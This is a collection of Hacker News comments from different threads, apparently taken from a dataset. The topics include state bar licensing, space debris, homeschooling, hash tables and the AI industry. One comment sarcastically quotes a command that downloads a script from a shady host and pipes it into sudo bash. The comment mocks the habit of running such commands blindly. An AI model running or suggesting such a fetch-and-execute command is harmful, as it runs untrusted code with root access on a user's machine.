MurphyA/hacker-news huggingface dataset:
by sounds | 2026-01-08 21:10:35+00:00
"Bar Reciprocity" or "Reciprocal Admission" lets a lawyer do something like move to a different state.

Example: Maine https://www.mainebar.org/page/ReciprocalAdmission

Texas State Bar is still a thing. This means that it has split from the American Bar Association, but the legal system of Texas is still part of the US Legal system.
by some_bird | 2026-01-08 21:10:40+00:00
Ah yes, Kessler's space shredder, something to be feared by all satellites!

It appears that we are very close to an unstoppable runaway process of collisions in space.
On one hand, nice that we prevent rich guys from running away to other planets after ruining this one.
On the other hand, a lot of services require GPS, it would be chaos if that were to disappear...
by venndeezl | 2026-01-08 21:11:00+00:00
Rhetorical goals about intention do not remake physics which comes with well understood constraints. Doctors intended to use bloodletting to cure illness and killed people instead. Words are not magical spells.

The machines these models run on are well known. They’re not black boxes. The results will be same-y despite the timeline, process, companies took to get there being different.

UPS trucks may carry different sizes and shapes of packages day to day but their upper bounds on total weight and geometry exist too.

A Honda and Ford can look different, but physical reality, whether the measure is user feedback (human biology exists is physical) or physics itself, still results in very same-y 4 wheels, etc etc.

What's strange to me is all the software engineers who ignore physics. All of our applied knowledge that gives rise to software engineering also constrains the outcomes. Our ability to sit down every day and arbitrarily slice up data in various ways is very much constrained by physics like everything else.

The easy money/endless hype era of ZIRP where SWEs failed up thanks to endless employment opportunities has resulted in way too many SWEs believing their efforts on some trivial shit like a JS framework, or some CSS designs is propelling humans into the future.

Nah, it's just physics as usual. You alls sensory memory is just parroting the crap it memorized.
by schmuckonwheels | 2026-01-08 21:11:01+00:00
I don't see the problem here.

We have automated the task of developers blindly executing

wget -qO - http://shadysite/foo.sh | sudo bash

They would have happily pasted it into the terminal without the automation.

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.
by cthalupa | 2026-01-08 21:11:03+00:00
He continues shooting after he is to the side of the car to the point he is shooting through the open driver window. He is to the side of the car. He is not in it's path even remotely while still shooting.

Even if we assume the first shot was justified (which I disagree with but whatever, we're not going to change each other's minds) the remainder are not.

Lethal force is not on the table for punitive actions. It is meant to be used as a preventative measure.
by kentonv | 2026-01-08 21:11:29+00:00
Are we... arguing about what happened in my head?

As the world's foremost expert about what happened in my head, do I get to, like, pick a winner here?

If so I pick tczMUFlmoNk, I think their description is accurate. (I think you might want to re-read it as it feels like you are responding to something else.)

If I don't get to pick, this is quite weird! "People on Hacker News tell me I'm wrong about my own thoughts." was not on my -- actually wait, that doesn't sound unexpected at all now that I write it out! OK, carry on.
by rayiner | 2026-01-08 21:12:05+00:00
Lawyers are licensed in each state. Typically, only lawyers licensed in a state can practice law in the state. What exactly that means is fuzzy. Generally you need to be licensed in a state to appear in court in that state. Though for federal courts you can appear on a temporary basis in another state, usually if you’re working with another lawyer who is licensed in that state. But lawyers in one state typically can advise a client in that state about laws in another state—usually when the client’s activity is nationwide.

For clients with interstate business, they usually have a team of lawyers. A lawsuit being heard in Minnesota state court may primarily be handled by a big national firm with lawyers licensed in New York, with local lawyers licensed in Minnesota to handle filings and court appearances.
by JohnMakin | 2026-01-08 21:12:34+00:00
There are dozens, if not far more, of captcha solver API's for extremely cheap. Captcha is very shallow bot "security" theater, they just deter the cheapest attempts.

latest greatest versions of captcha are more resilient to these types of services, but it's a cat and mouse game. I would recommend that you, as a sysadmin, learn at least the most basic things about this stuff.
by tyjen | 2026-01-08 21:13:27+00:00
Texas and most other states should push for additional freedom in this space. Anyone who can pass the state's bar exam, should be allowed to practice law. Let the legal market sort out the rest from there.

California, Vermont, Virginia, and Washington already allow people to practice law within their states without attending law school, but via "reading the law" type apprenticeships. Extending this nationally would benefit lawyers and the people who need them.
by shpongled | 2026-01-08 21:13:29+00:00
No, it doesn't. The "I'm an expert at AI detection" crowd likes to cite things like "It's not X, it's Y" and other expression patterns without stopping to think that perhaps LLMs regurgitate those patterns because they are frequently used in written speech.

I assign a <5% probability that GP comment was AI written. It's easy to tell, because AI writing has no soul.
by stackskipton | 2026-01-08 21:13:36+00:00
There are plenty of providers that when you BYOIP, they will broadcast out of their ASN, I know Azure does, Google appears to, no clue on AWS. Plenty of colo providers including $LastCompanyProvider will fold your IP block under their ASN as well. That's how it worked at last job.

Sure, Iran government may just decide to block that specific ASN but if it's they want to remain somewhat on the internet, they are stuck with "Smack entire broad ASNs and lose large chucks of internet" or "Block specific IP spaces."
by chrneu | 2026-01-08 21:13:51+00:00
>What may not be widely known is that some authoritarian regimes have been accused by expatriates of identifying and indoctrinating intellectually gifted children into their state-sponsored organizations

Literally every country does this. It's just perspective whether an individual thinks it's okay or not.

If you're on the side doing the indoctrination, you probably agree with it, or are indoctrinated yourself. We all are to some degree.
by joshvm | 2026-01-08 21:13:52+00:00
I've found that for any sort of reasonable task, the free models are garbage and the low-tier paid models aren't much better. I'm not talking about coding, just general "help me" usage. It makes me very wary of using these models for anything that I don't fully understand, because I continually get easily falsifiable hallucinations.

Today, I asked Gemini 3 to find me a power supply with some spec; AC/DC +/- 15V/3A. It did a good job of spec extraction from the PDF datasheets I provided, including looking up how the device performance would degrade using a linear vs switch-mode PSU. But then it comes back with two models from Traco that don't exist, including broken URLs to Mouser. It did suggest running two Meanwell power supplies in series (valid), but 2/3 suggestions were BS. This sort of failure is particularly frustrating because it should be easy and the outputs are also very easy to test against.

Perhaps this is where you need a second agent to verify and report back, so a human doesn't waste the time?
by philsnow | 2026-01-08 21:13:54+00:00
> One niceish thing about WebDAV/CalDAV is it's pretty set in stone for now.

I don't know if you've ever heard "Latin is a dead language"; many people think that statement is a somewhat negative-sentiment one, amounting to something along the lines of "there's no good reason to learn Latin, it's dead", but I've heard that it's actually supposed to be a positive-sentiment statement, something like "we can have confidence that contemporary interpretations of this text haven't changed in the last ~1800 years because the language itself stopped changing around then".
by tialaramex | 2026-01-08 21:14:10+00:00
> First of all, as khuey pointed out, the current implementation accumulates values. extend() replaces values instead. It wouldn't achieve the same functionality.

Ah! Yes, I apologise. I missed the + in += and I'm not used to a hash table which defaults initialization for unseen entries (as the C++ hash tables all tend to because its native container types behave that way) so I wasn't looking for it.

The SipHash will be noticeably slower, no question about it, and so if you need to and know what you're paying you can replace the hash, including with integer_hasher which gives you what you'd likely know from many C++ stdlib implementations - an identity function presented as a hash.

> This is not necessary. The rust libraries are a port of Abseil, a C++ library.

More specifically HashBrown is a port of Abseil's Swiss Tables, and these days Rust's HashMap (and HashSet of course) use HashBrown but that's not what I was getting at here

I was thinking about analogues of Extend (because as I wrote above, I didn't notice that you're accumulating not overwriting) and modern C++ has this kind of feature in Ranges::to however it doesn't quite have Extend and as I said QoI is poor, there are often trivial optimisations that Rust does but the C++ means the same but isn't optimised.

I am interested in a quite different benchmark for hash tables, rather than merging I'm interested in very small hash tables. Clearly for two items it will be faster to try them both, and clearly for a million items trying them all is awful, so I measure a VecMap type (same API as a hash table but actually just the growable array of unordered key->value pairs, searched linearly) against HashMap and other implementations of this API.

For N=25 VecMap is still competitive, but even at N=5 if we use a very fast hash (such as that identity function) instead of SipHash we can beat VecMap for most operations. I suspect this sort of benchmark would fare very differently on older hardware (faster memory relative to ALU operations) and the direction of travel is likely to stay the same for the foreseeable future. In 1975 if you have six key->value pairs you don't want a hash table because it's too slow but in 2025 you probably do.
by pjmlp | 2026-01-08 21:14:27+00:00
Nope, it is still Java, Kotlin is only the JetPack libraries.

https://source.android.com/docs/core/architecture

Also Koltin is meaningless without Java Virtual Machine, which is used to power most of Koltin existence[0], Gradle, Android Studio, thus the Android team keeps updating the Java support so that they don't lose access to the most used versions in Maven Central.

[0] - Kotlin Native and Kotlin Javascript are quite poor in available libraries
by dickson-ant | 2026-01-08 21:14:40+00:00
Hi, this is Dickson from the Claude Code team. If you've declined the feedback prompt, it shouldn't keep asking. I'm investigating why the decline state isn't persisting properly from Claude Code.

I would appreciate it if you could create an issue for this at https://github.com/anthropics/claude-code/issues so we can continue troubleshooting there.
by Izikiel43 | 2026-01-08 21:15:00+00:00
Afaik, you need to be licensed on each state you want to practice, and take the bar exam for that state.

For example, the LegalEagle youtuber always says he is licensed to practice law in specific states in his videos, here is his georgetown law profile with the states where he is allowed to practice:

https://www.law.georgetown.edu/faculty/devin-j-stone/

California
Maryland
New York
Virginia
District of Columbia (D.C.)
by palmotea | 2026-01-08 21:15:32+00:00
> Political priorities can change. As more and more Chinese become middle class or wealthy, they might view things differently from when they just hoped they had enough food for the week.

Lest you forget: China is controlled by the CCP and is not a democracy. It will not affect political priorities if "more Chinese become middle class or wealthy" and "view things differently." The Chinese political system does not answer to them, and will only throw them a bone if there's a major threat to stability.

You're echoing the 90s-era hope that free markets would bring political liberalization to China, but history has debunked that idea.
by epistasis | 2026-01-08 21:15:37+00:00
If I understand you correctly, you're saying that because renters can vote, they have equal impact on planning decisions, and therefore a bloc of voters that do not consider renters' needs as being valid for the city is OK. Please correct me if I'm wrong. I have two objections to that.

1) Local planning decisions are not made on the basis of democratic votes, they are political decisions made by a tiny number of people that are highly susceptible to influence. In particular, money and local political power has a huge effect on who gets elected, who is paying attention to what happens, and who benefits. There's very little attention paid to these matters except those with highly conflicted interests, which means that highly conflicted decisions are the most common outcome. Which leads to suboptimal results over longer periods of time, as happens in any system that appears to be democratic but is actually corrupt.

2) Even in democracy, one bloc deciding that another bloc's interests can be ignored and don't matter to the functioning of government is an extremely toxic environment which results in awful outcomes. I view any system where there are second-class citizens as a fundamentally un-American idea and counter to the goals of our nation. Those who wish to exclude an entire economic class from their community are trying to create precisely that sort of second-class citizen.
by masklinn | 2026-01-08 21:15:46+00:00
1. get a waiver, usually after some time of practice (e.g. for the DC bar it's 3 years: https://admissions.dcappeals.gov/appinfo.action?id=200)

2. apply for reciprocity if that's an option

3. I understand that you can transfer between states with the same bar exam (mostly the so-called UBE states) as long as you pass the target states' admission score and any other qualification they require

4. pass the bar exam in each state
by JadeNB | 2026-01-08 21:16:19+00:00
You might want to find out why the order was immediately vacated, but you, or at least I, will not do so by reading the article:

> One day after granting the TRO, the same judge ruled that it should not remain in effect and vacated the order.

> “The Court finds, sua sponte, that the [TRO obtained by the State of Texas against Samsung] should be set aside,” the judge wrote in the order.

"ruled that it should not remain in effect" links to https://www.documentcloud.org/documents/26462588-20260106-or..., but my desire to understand what's going on does not yet extend to reading the order.
by morgan814 | 2026-01-08 21:16:30+00:00
For a differing opinion, I was homeschooled for six years during and it was damaging. There is plenty I missed out on and I wish my childhood was just a bit more normal.

I'm sure a lot has to do with home life though.

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There are legitimate reasons to homeschool, but the article itself is garbage.

> You're not qualified to teach your own children
> You know what does predict outcomes? Whether someone cares.

Fundamentally not true. Caring doesn't make you qualified. I care that my car runs well but that doesn't mean I can replace the transmission. My mom with a basic high school education had no business being a teacher. It's bad enough that standards for _real_ teachers have been lowered over the last few decades.

> outperform an indifferent professional

Some teachers (and professors) are mids. Others will change your life. Some care an incredible amount. It can also expose you to a variety worldviews. This could be due to malice (my kid won't learn about sex!) or simply because people are different. Getting a variety of inputs is so vital to receiving a solid education.

> What about socialization?

My last two years of high school were public after a long debate with my parents. The level of change in socialization was immense. Sure, only during lunch did we get to socialize without guidance. Inside the classroom it still happens though. Pretending like a classroom of 20 kids has no socialization going on is silly.

> Second assumption: homeschooled children can't socialize elsewhere. But of course they can. ...church groups...

In my experience, church is the absolute worst place to socialize. If the author thinks the classroom doesn't encourage socialization (I need another word) I'm not sure how they could possibly argue that church does, which behaves much more as a dictatorship than the classroom.

The author does list other activities that are solid imo. But those didn't happen for me. If I went to public school there would've at least been some baseline socialization going on.

> Now ask the opposite question: where are the studies on the system we already have? Those exist.

Fails to cite studies.

> You have no credentials.

And back to point 1.

True, American public schools are absolutely failing while spending more money per student than most other countries. The solution isn't to chuck out the whole thing, have your mom teach your kid with AI, and entertain them with church.

These days, I don't really have friends. And I never really had them growing up either. My entire life was in my parent's home. A good bit of that can be attributed to home-schooling.
by rayiner | 2026-01-08 21:16:43+00:00
You wrote what your thoughts were. I’m just weighing in on whether your thoughts are “racist.” To the extent you feel sensitive about the issue because someone has darker skin, where you probably wouldn’t have written that part of the post if the other guy were Polish, that’s racist. It’s racist to treat people differently based on skin color, even if you’re well intentioned about it.
by lossolo | 2026-01-08 21:16:46+00:00
China produced foundational technologies (paper, compass, printing, gunpowder etc) long before the US existed, the US later built on global inventions too. Same here, LLM progress is cumulative and international, today's leaders won't be tomorrow's by default.

All frontier US models are closed weight. It's great what Chinese are doing because open weights help everyone. Also there is a lot of research thanks to these open weights, look how much research is being done using Qwen models in US (Microsoft etc) and in the rest of the world.
by benbristow | 2026-01-08 21:17:40+00:00
Doesn't make much sense to me. It's literally a conversion of CSS rules to classes. Bootstrap already had a few of these as utility classes. I know it does a bit of magic in the background.

They made money off selling preset components and documentation etc, but as others have said, AI has pretty much ripped this off.

One of those things trying to monetise out of nothing because it became popular.
by threethirtytwo | 2026-01-08 21:18:01+00:00
The pricing will go down once the hardware prices go down. Historically hardware prices always go down.

Once the hardware prices go low enough pricing will go down to the point where it doesn't even make sense to sell current LLMs as a service.

I would imagine that it's possible that if ever the aforementioned future comes to pass that there will be new forms of ultra high tier compute running other types of AI more powerful than an LLM? But I'm pretty sure AI at it's current state will one day be running locally on desktops and/or handhelds with the former being more likely.
by FloorEgg | 2026-01-08 21:18:21+00:00
It sure seems to me like you haven't read the guidelines, because if you had you would have made a different case for why this post should be on-topic, since the guidelines use "crime" as an example of what is off-topic.

The spirit of the guidelines is:

On-topic: fosters intellectual curiosity

Off-topic: derails intellectual curiosity
by TheCraiggers | 2026-01-08 21:18:55+00:00
> They need to do the same for medical schools

I'm ignorant here. Why do you say this? From my admittedly uneducated viewpoint, having a board of some type makes sense because I don't care about the results of a test you took fifteen years ago. I care about how you behave today. I'm the case of lawyers, having the courts approve you makes some sense- they're all in the law system. Who would do this for doctors?

Having a diploma is well and good but it seems like we need continued governance and the ability to revoke your license if you're a screw up. It doesn't make much sense to me to have the body approving your immediate start at a practice be different from those that will review your continuation of that practice at a later date.
by kyboren | 2026-01-08 21:19:11+00:00
> You give them your data and they sell it - that's the transaction

I think that's the wrong framing. Let's get real: They're pimping you out. Google and Meta are population-scale fully-automated digital pimping operations.

They're putting everyone's ass on the RTB street and in return you get this nice handbag--err, email account/YouTube video/Insta feed. They use their bitches' data to run an extremely sophisticated matchmaking service, ensuring the advertiser Johns always get to (mind)fuck the bitches they think are the hottest.

What's even more concerning about OpenAI in particular is they're poised to be the biggest, baddest, most exploitative pimp in world history. Instead of merely making their hoes turn tricks to get access to software and information, they'll charge a premium to Johns to exert an influence on the bitches and groom them to believe whatever the richest John wants.

Goodbye democracy, hello pimp-ocracy. RTB pimping is already a critical national security threat. Now AI grooming is a looming self-governance catastrophe.
by kshacker | 2026-01-08 21:19:16+00:00
From someone who lives in bay area (so not <4k), this is exceedingly common. Of course Walmart does not have a small business owner on-site who can oversee such adjustments, but think mom and pop / single owner stores. They do it all the time.

Think contractors. They also do it all the time. When I did a remodel a couple of years back, he asked for cash. It was a small amount so I did not think much until my accountant told me I will need receipts if I wanted them added to my house's capital /cost. I asked the contractor and he stalled me for weeks while also saying I will need to pay more for receipts, until one day I forgot chasing (and am thinking of it now) and just let it go I guess.
by giantrobot | 2026-01-08 21:19:41+00:00
Apple's neural engine is used a lot by the non-LLM ML tasks all over the system like facial recognition in photos and the like. The point of it isn't to be some beefy AI co-processor but to be a low-power accelerator for background ML workloads.

The same workloads could use the GPU but it's more general purpose and thus uses more power for the same task. The same reason macOS uses hardware acceleration for video codecs and even JPEG, the work could be done on the CPU but cost more in terms of power. Using hardware acceleration helps with the 10+ hour lifetime on the battery.